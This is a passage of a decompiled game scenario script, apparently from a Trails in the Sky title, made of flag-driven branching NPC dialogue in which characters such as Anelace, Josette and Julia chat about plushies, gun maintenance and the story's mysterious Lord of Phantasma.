Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_A7A6")
TalkBegin(0xFE)
ChrTalk( #258
0x1B,
(
"#817FSooo...\x02\x03",
"...this world is on a high-level plane, repeating a \x01",
"process of self-organization and creation in order\x01",
"to realize the desires of humanity, operating on...\x02\x03",
"...\x01",
"...\x01",
"...\x02",
)
)
CloseMessageWindow()
OP_9E(0x1B, 0x14, 0x0, 0x320, 0xBB8)
Sleep(1000)
ChrTalk( #259
0x1B,
"#819F...Blaaarghhh...\x02",
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x0)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_A66C")
ChrTalk( #260
0x101,
"#1004FI think her head just exploded.\x02",
)
CloseMessageWindow()
Jump("loc_A7A3")
label("loc_A66C")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_A6E0")
ChrTalk( #261
0x102,
(
"#1512FAnelace, you don't need to force yourself to\x01",
"understand how this world works, you know.\x02",
)
)
CloseMessageWindow()
Jump("loc_A7A3")
label("loc_A6E0")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x2)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_A754")
ChrTalk( #262
0x103,
(
"#1525FAnelace, you don't need to force yourself to\x01",
"understand how this world works, you know.\x02",
)
)
CloseMessageWindow()
Jump("loc_A7A3")
label("loc_A754")
ChrTalk( #263
0x107,
"#065FA-Anelace! Hang in there!\x02",
)
CloseMessageWindow()
ChrTalk( #264
0x109,
"#1068FI think her head just exploded.\x02",
)
CloseMessageWindow()
label("loc_A7A3")
Jump("loc_A9D1")
label("loc_A7A6")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_A859")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
TurnDirection(0xFE, 0x110, 0)
ChrTalk( #265
0x1B,
(
"#816FSo you like plushies, too, huh, Renne?\x02\x03",
"#811FWe're gonna have to sit and talk about\x01",
"them later, then!\x02\x03",
"I need to find out just HOW MUCH.\x02",
)
)
CloseMessageWindow()
Jump("loc_A9D1")
label("loc_A859")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #266
0x1B,
(
"#814FWhat? You've got that really rare Landmore\x01",
"limited edition plushie?\x02\x03",
"#1317FI really want that one, too! You're so lucky...\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x0)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_A911")
ChrTalk( #267
0x101,
"#1016F(A-Anelace...)\x02",
)
CloseMessageWindow()
Jump("loc_A967")
label("loc_A911")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_A941")
ChrTalk( #268
0x102,
"#1512F(Umm... Anelace...)\x02",
)
CloseMessageWindow()
Jump("loc_A967")
label("loc_A941")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x2)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_A967")
ChrTalk( #269
0x103,
"#1525F(I swear...)\x02",
)
CloseMessageWindow()
label("loc_A967")
ChrTalk( #270
0x109,
(
"#1068F(I think she's probably the one least bothered\x01",
"about what's going on here out of all of us...)\x02",
)
)
CloseMessageWindow()
label("loc_A9D1")
ClearChrFlags(0xFE, 0x10)
OP_A2(0x9)
TalkEnd(0xFE)
Jump("loc_ABCE")
label("loc_A9DF")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_AA6A")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #271
0x1B,
(
"#817FSo what's a girl gotta do to get plushies to pop\x01",
"up out of nowhere?\x02\x03",
"Hmm...\x02\x03",
"#1312FHmmmmm...\x02",
)
)
CloseMessageWindow()
Jump("loc_ABC6")
label("loc_AA6A")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_AB1C")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
TurnDirection(0xFE, 0x110, 0)
ChrTalk( #272
0x1B,
(
"#816FSo you like plushies, too, huh, Renne?\x02\x03",
"#811FWe're gonna have to sit and talk about them later,\x01",
"then! I need to find out just HOW MUCH.\x02",
)
)
CloseMessageWindow()
Jump("loc_ABC6")
label("loc_AB1C")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #273
0x1B,
(
"#812FI was all set on going to get that one when it \x01",
"came out...\x02\x03",
"#1316F...but then this major job came in all of a sudden\x01",
"and I couldn't go out and buy it.\x02",
)
)
CloseMessageWindow()
label("loc_ABC6")
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_ABCE")
Return()
# Function_9_955E end
def Function_10_ABCF(): pass
label("Function_10_ABCF")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x565, 3)), scpexpr(EXPR_END)), "loc_AF10")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_AD23")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_AC8B")
ChrTalk( #274
0x15,
(
"#416F...Okay. That should do for now.\x02\x03",
"#210FIt always pays to give your gun a good polish once\x01",
"in a while to keep it in top working condition.\x02",
)
)
CloseMessageWindow()
Jump("loc_AD15")
label("loc_AC8B")
ChrTalk( #275
0x15,
(
"#213FHey, take it easy. Everyone needs to rest from\x01",
"time to time, you know.\x02\x03",
"#212FCome on! Have a drink of this and take a load\x01",
"off.\x02",
)
)
CloseMessageWindow()
label("loc_AD15")
ClearChrFlags(0xFE, 0x10)
OP_A2(0x4)
TalkEnd(0xFE)
Jump("loc_AF10")
label("loc_AD23")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_ADD0")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
TurnDirection(0xFE, 0x102, 0)
ChrTalk( #276
0x15,
(
"#213FOh, Joshua...\x02\x03",
"#215FUmm... Umm...\x02",
)
)
CloseMessageWindow()
ChrTalk( #277
0x102,
(
"#1513FI'm fine.\x02\x03",
"#1501FThanks for worrying about me, Josette.\x02",
)
)
CloseMessageWindow()
ChrTalk( #278
0x15,
"#414FO-Oh, right...\x02",
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
Jump("loc_AF0D")
label("loc_ADD0")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_AE86")
ChrTalk( #279
0x15,
(
"#210FOrbal guns are pretty delicate things, so you need\x01",
"to take them apart and give them a good clean once\x01",
"in a while to keep them in top working condition.\x02",
)
)
CloseMessageWindow()
Jump("loc_AF0D")
label("loc_AE86")
ChrTalk( #280
0x15,
(
"#416FI swear, this princess...\x02\x03",
"#212FI don't know why she won't just rely on us some\x01",
"instead of trying to investigate by herself.\x02",
)
)
CloseMessageWindow()
label("loc_AF0D")
TalkEnd(0xFE)
label("loc_AF10")
Return()
# Function_10_ABCF end
def Function_11_AF11(): pass
label("Function_11_AF11")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x565, 3)), scpexpr(EXPR_END)), "loc_B190")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_B066")
ChrTalk( #281
0x13,
(
"#175FWhile this is just my personal belief, and I will never\x01",
"have a chance to find out if it is right...\x02\x03",
"#170F...I can't help but feel that 2nd Lieutenant Lorence\x01",
"may have admired the colonel on a personal level,\x01",
"too.\x02\x03",
"#179FI don't have any hard evidence to back up my\x01",
"belief, of course. Just call it instinct.\x02",
)
)
CloseMessageWindow()
OP_A2(0x2)
Jump("loc_B18A")
label("loc_B066")
ChrTalk( #282
0x13,
(
"#176FWhile there's no doubt that 2nd Lieutenant Lorence\x01",
"used the Intelligence Division, I don't think that was\x01",
"the only reason he served in it.\x02\x03",
"#170FWhile I don't have any hard evidence to back up\x01",
"my belief, I feel as though he felt a genuine sense\x01",
"of loyalty to the organization, too.\x02",
)
)
CloseMessageWindow()
label("loc_B18A")
TalkEnd(0xFE)
Jump("loc_CB18")
label("loc_B190")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x564, 0)), scpexpr(EXPR_END)), "loc_B19A")
Jump("loc_CB18")
label("loc_B19A")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x562, 5)), scpexpr(EXPR_END)), "loc_B3D5")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_B329")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4C8, 2)), scpexpr(EXPR_END)), "loc_B242")
ChrTalk( #283
0x13,
(
"#179FI had hoped to meet Kilika one day...\x02\x03",
"#178F...but I hadn't expected she would be quite that\x01",
"much of a force to be reckoned with.\x02",
)
)
CloseMessageWindow()
Jump("loc_B323")
label("loc_B242")
ChrTalk( #284
0x13,
(
"#178FI'd heard Kilika was able to make her way through\x01",
"one of the shadow towers alone, so she is clearly\x01",
"a force to be reckoned with.\x02\x03",
"#179FI wish I had been able to meet her while she was\x01",
"still in Liberl, to be honest.\x02",
)
)
CloseMessageWindow()
label("loc_B323")
OP_A2(0x2)
Jump("loc_B3CF")
label("loc_B329")
ChrTalk( #285
0x13,
(
"#175FRegardless, at least now we are half way through\x01",
"this plane.\x02\x03",
"#176FPerhaps now would be a good time to make sure\x01",
"everyone is well trained and battle ready.\x02",
)
)
CloseMessageWindow()
label("loc_B3CF")
TalkEnd(0xFE)
Jump("loc_CB18")
label("loc_B3D5")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x561, 0)), scpexpr(EXPR_END)), "loc_B817")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_B727")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x3)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_B51B")
TurnDirection(0xFE, 0x104, 0)
ChrTalk( #286
0x104,
(
"#1541FWhy, hello, Julia.\x02\x03",
"It's occurred to me that I never did properly\x01",
"thank you for your assistance during my return\x01",
"to Erebonia.\x02\x03",
"#1547FSo, what say you? Would you like to accompany\x01",
"me for a drink or two? On me, of course.\x02",
)
)
CloseMessageWindow()
ChrTalk( #287
0x13,
"#172FI... Well... I'm not sure that would be...\x02",
)
CloseMessageWindow()
Jump("loc_B6E7")
label("loc_B51B")
ChrTalk( #288
0x13,
(
"#175FPrince Olivert seems rather insistent on me\x01",
"accompanying him for drinks. I'm not sure\x01",
"what to do...\x02\x03",
"#176FP-Perhaps it would be best for me to accept\x01",
"his offer?\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x0)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_B654")
ChrTalk( #289
0x101,
(
"#1007FI swear, that Olivier...\x02\x03",
"#1009FThe best thing to do is to ignore him, Julia!\x01",
"Just pretend he doesn't even exist.\x02",
)
)
CloseMessageWindow()
Jump("loc_B6E7")
label("loc_B654")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_B6B8")
ChrTalk( #290
0x102,
(
"#1512FI think the best thing to do would be to refuse.\x01",
"In no uncertain terms.\x02",
)
)
CloseMessageWindow()
Jump("loc_B6E7")
label("loc_B6B8")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_B6E7")
ChrTalk( #291
0x105,
"#1165FAhaha... Weeeeeell...\x02",
)
CloseMessageWindow()
label("loc_B6E7")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_B721")
ChrTalk( #292
0x10D,
"#272FFeel free to ignore him, Captain.\x02",
)
CloseMessageWindow()
label("loc_B721")
OP_A2(0x2)
Jump("loc_B811")
label("loc_B727")
ChrTalk( #293
0x13,
(
"#176F*cough* The prince aside...\x02\x03",
"#178F...I'm still rather surprised that Phillip was one of\x01",
"those recreated in this world.\x02\x03",
"#175FAll of this just makes me wish that I could have\x01",
"the chance to learn from him in the real world...\x02",
)
)
CloseMessageWindow()
label("loc_B811")
TalkEnd(0xFE)
Jump("loc_CB18")
label("loc_B817")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x560, 0)), scpexpr(EXPR_END)), "loc_BA1B")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_B963")
ChrTalk( #294
0x13,
(
"#179FI never would have imagined the very ghost who\x01",
"aided us all this time was an ancestor of the\x01",
"Liberlian royal family.\x02\x03",
"#171FHaha. Still, I can hardly imagine a more reassuring\x01",
"revelation.\x02\x03",
"#170FI'd like to think that with her help, we may be\x01",
"able to compete against the Lord of Phantasma\x01",
"after all.\x02",
)
)
CloseMessageWindow()
OP_A2(0x2)
Jump("loc_BA15")
label("loc_B963")
ChrTalk( #295
0x13,
(
"#170FIt's far too soon to be getting optimistic about\x01",
"our odds of success...\x02\x03",
"...but with Celeste's help, we may be able to\x01",
"compete against the Lord of Phantasma after\x01",
"all.\x02",
)
)
CloseMessageWindow()
label("loc_BA15")
TalkEnd(0xFE)
Jump("loc_CB18")
label("loc_BA1B")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x540, 7)), scpexpr(EXPR_END)), "loc_BDCE")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_BAB2")
Jump("loc_BAF4")
label("loc_BAB2")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_BACE")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_BAF4")
label("loc_BACE")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_BAEA")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_BAF4")
label("loc_BAEA")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_BAF4")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_BCC6")
ChrTalk( #296
0x13,
(
"#176FIt's amazing to think that this world is where\x01",
"people's thoughts become reality...\x02\x03",
"#175FEven after all we've seen so far, I still find\x01",
"myself doubting that could even be possible,\x01",
"but it certainly makes sense.\x02\x03",
"Still, if we assume that everything that's \x01",
"happened so far has gone according to plan\x01",
"for the Lord of Phantasma...\x02\x03",
"#170F...then I think it's about time we started trying\x01",
"to change that, hmm?\x02",
)
)
CloseMessageWindow()
OP_A2(0x2)
Jump("loc_BDC3")
label("loc_BCC6")
ChrTalk( #297
0x13,
(
"#176FEven after all we've seen so far, I still find\x01",
"myself doubting that what Renne said could even\x01",
"be possible, but I can't deny her logic...\x02\x03",
"Still, enough is enough.\x02\x03",
"#170FI think the Lord of Phantasma has had things their\x01",
"way for far too long.\x02",
)
)
CloseMessageWindow()
label("loc_BDC3")
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
Jump("loc_CB18")
label("loc_BDCE")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x540, 4)), scpexpr(EXPR_END)), "loc_C1BB")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_C102")
ChrTalk( #298
0x13,
(
"#170FBoth General Morgan and Brigadier General Bright\x01",
"did their best to stop Richard from leaving the army\x01",
"when he made his decision to do so.\x02\x03",
"No one denies that he made a mistake, but he was\x01",
"an exceptionally skilled soldier, and the military is\x01",
"worse off without him.\x02\x03",
"#179FI've heard rumors that Brigadier General Bright\x01",
"hasn't given up on bringing him back into the\x01",
"ranks yet, even.\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_BFF3")
ChrTalk( #299
0x105,
"#1165FThat sounds just like something he would do.\x02",
)
CloseMessageWindow()
ChrTalk( #300
0x101,
(
"#1007FYeah... He's never been one for giving people\x01",
"a break.\x02",
)
)
CloseMessageWindow()
Jump("loc_C0FC")
label("loc_BFF3")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_C08E")
ChrTalk( #301
0x102,
(
"#1508FPresumably so that he can offload more of\x01",
"his work onto him.\x02",
)
)
CloseMessageWindow()
ChrTalk( #302
0x101,
(
"#1007FYeah... He's never been one for giving people\x01",
"a break.\x02",
)
)
CloseMessageWindow()
Jump("loc_C0FC")
label("loc_C08E")
ChrTalk( #303
0x101,
(
"#1019FYou've got to be kidding me...\x02\x03",
"#1007FHe really doesn't believe in giving people\x01",
"a break, does he?\x02",
)
)
CloseMessageWindow()
label("loc_C0FC")
OP_A2(0x2)
Jump("loc_C1B5")
label("loc_C102")
ChrTalk( #304
0x13,
(
"#178FRegardless, I wasn't expecting Richard of all\x01",
"people to end up here...\x02\x03",
"#176FBut he does fit within the rule that only those\x01",
"who have aided us end up in sealing stones.\x02",
)
)
CloseMessageWindow()
label("loc_C1B5")
TalkEnd(0xFE)
Jump("loc_CB18")
label("loc_C1BB")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x540, 0)), scpexpr(EXPR_END)), "loc_C35D")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_C2AD")
ChrTalk( #305
0x13,
(
"#176FI was aware that Father Graham was a member\x01",
"of the Gralsritter...\x02\x03",
"#175FI certainly wasn't aware that he was such a high-\x01",
"ranking member of the group, however.\x02\x03",
"And one of its most powerful members, at that.\x02",
)
)
CloseMessageWindow()
OP_A2(0x2)
Jump("loc_C357")
label("loc_C2AD")
ChrTalk( #306
0x13,
(
"#176FI was aware that Father Graham was a member\x01",
"of the Gralsritter...\x02\x03",
"#175FI certainly wasn't aware that he was such a high-\x01",
"ranking member of the group, however.\x02",
)
)
CloseMessageWindow()
label("loc_C357")
TalkEnd(0xFE)
Jump("loc_CB18")
label("loc_C35D")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x521, 6)), scpexpr(EXPR_END)), "loc_C4F2")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_C445")
ChrTalk( #307
0x13,
(
"#178FWe've now conquered all three of the ordeals\x01",
"that this garden's master mentioned.\x02\x03",
"I presume that means our next destination must be\x01",
"the fifth plane.\x02\x03",
"#176FI wonder what kind of place that will be.\x02",
)
)
CloseMessageWindow()
OP_A2(0x2)
Jump("loc_C4EC")
label("loc_C445")
ChrTalk( #308
0x13,
(
"#178FI presume that since we've conquered all three\x01",
"of the ordeals here, our next destination will be\x01",
"the fifth plane.\x02\x03",
"I wonder what kind of place that will be.\x02",
)
)
CloseMessageWindow()
label("loc_C4EC")
TalkEnd(0xFE)
Jump("loc_CB18")
label("loc_C4F2")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x521, 2)), scpexpr(EXPR_END)), "loc_C6FE")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_C5E7")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_C5A3")
TalkBegin(0xFE)
ChrTalk( #309
0x13,
(
"#176F*sigh* I had an important meeting to attend at\x01",
"military HQ tomorrow, too.\x02\x03",
"But it looks like I'll have no choice but to miss it.\x02",
)
)
CloseMessageWindow()
TalkEnd(0xFE)
Jump("loc_C5E1")
label("loc_C5A3")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #310
0x13,
"#178FShould you not rest, Your Highness?\x02",
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_C5E1")
OP_A2(0x2)
Jump("loc_C6FB")
label("loc_C5E7")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_C6BD")
TalkBegin(0xFE)
ChrTalk( #311
0x13,
(
"#172FOr is the meeting today, now? \x02\x03",
"#175FBeing in this place truly distorts your sense\x01",
"of time's passing...\x02\x03",
"It's even possible the meeting could've been\x01",
"days ago, thinking about it...\x02",
)
)
CloseMessageWindow()
TalkEnd(0xFE)
Jump("loc_C6FB")
label("loc_C6BD")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #312
0x13,
"#178FShould you not rest, Your Highness?\x02",
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_C6FB")
Jump("loc_CB18")
label("loc_C6FE")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x520, 5)), scpexpr(EXPR_END)), "loc_C925")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_C822")
ChrTalk( #313
0x13,
(
"#178FIt's clear from everything they've said and done\x01",
"so far that our foes have thoroughly researched\x01",
"all of us.\x02\x03",
"#175FAnd yet recreating a place from outside Liberl\x01",
"was certainly not something I expected them to\x01",
"do...\x02\x03",
"Just who is the Lord of Phantasma, anyway?\x02",
)
)
CloseMessageWindow()
OP_A2(0x2)
Jump("loc_C91F")
label("loc_C822")
ChrTalk( #314
0x13,
(
"#178FWe know now that the Lord of Phantasma\x01",
"is challenging us with a significant amount\x01",
"of research on us under their belt.\x02\x03",
"#176FIt doesn't make sense to me. The more they do,\x01",
"the more I can't fathom what it is they want.\x02\x03",
"#175FOr who they are...\x02",
)
)
CloseMessageWindow()
label("loc_C91F")
TalkEnd(0xFE)
Jump("loc_CB18")
label("loc_C925")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x520, 0)), scpexpr(EXPR_END)), "loc_CB18")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_CA38")
ChrTalk( #315
0x13,
(
"#176FIt's disturbing to think that we are literally\x01",
"fighting fiends taken from the church's texts...\x02\x03",
"#175FThen again, our enemies are capable of making\x01",
"a replica of an entire city. I suppose summoning\x01",
"mirrors and tanks are child's play to them.\x02",
)
)
CloseMessageWindow()
OP_A2(0x2)
Jump("loc_CB15")
label("loc_CA38")
ChrTalk( #316
0x13,
(
"#178FHaving listened to the archbishop's sermons often,\x01",
"I am fairly familiar with the Testaments...\x02\x03",
"#175FI never thought I would one day find myself face to\x01",
"face with some of the monstrosities within them,\x01",
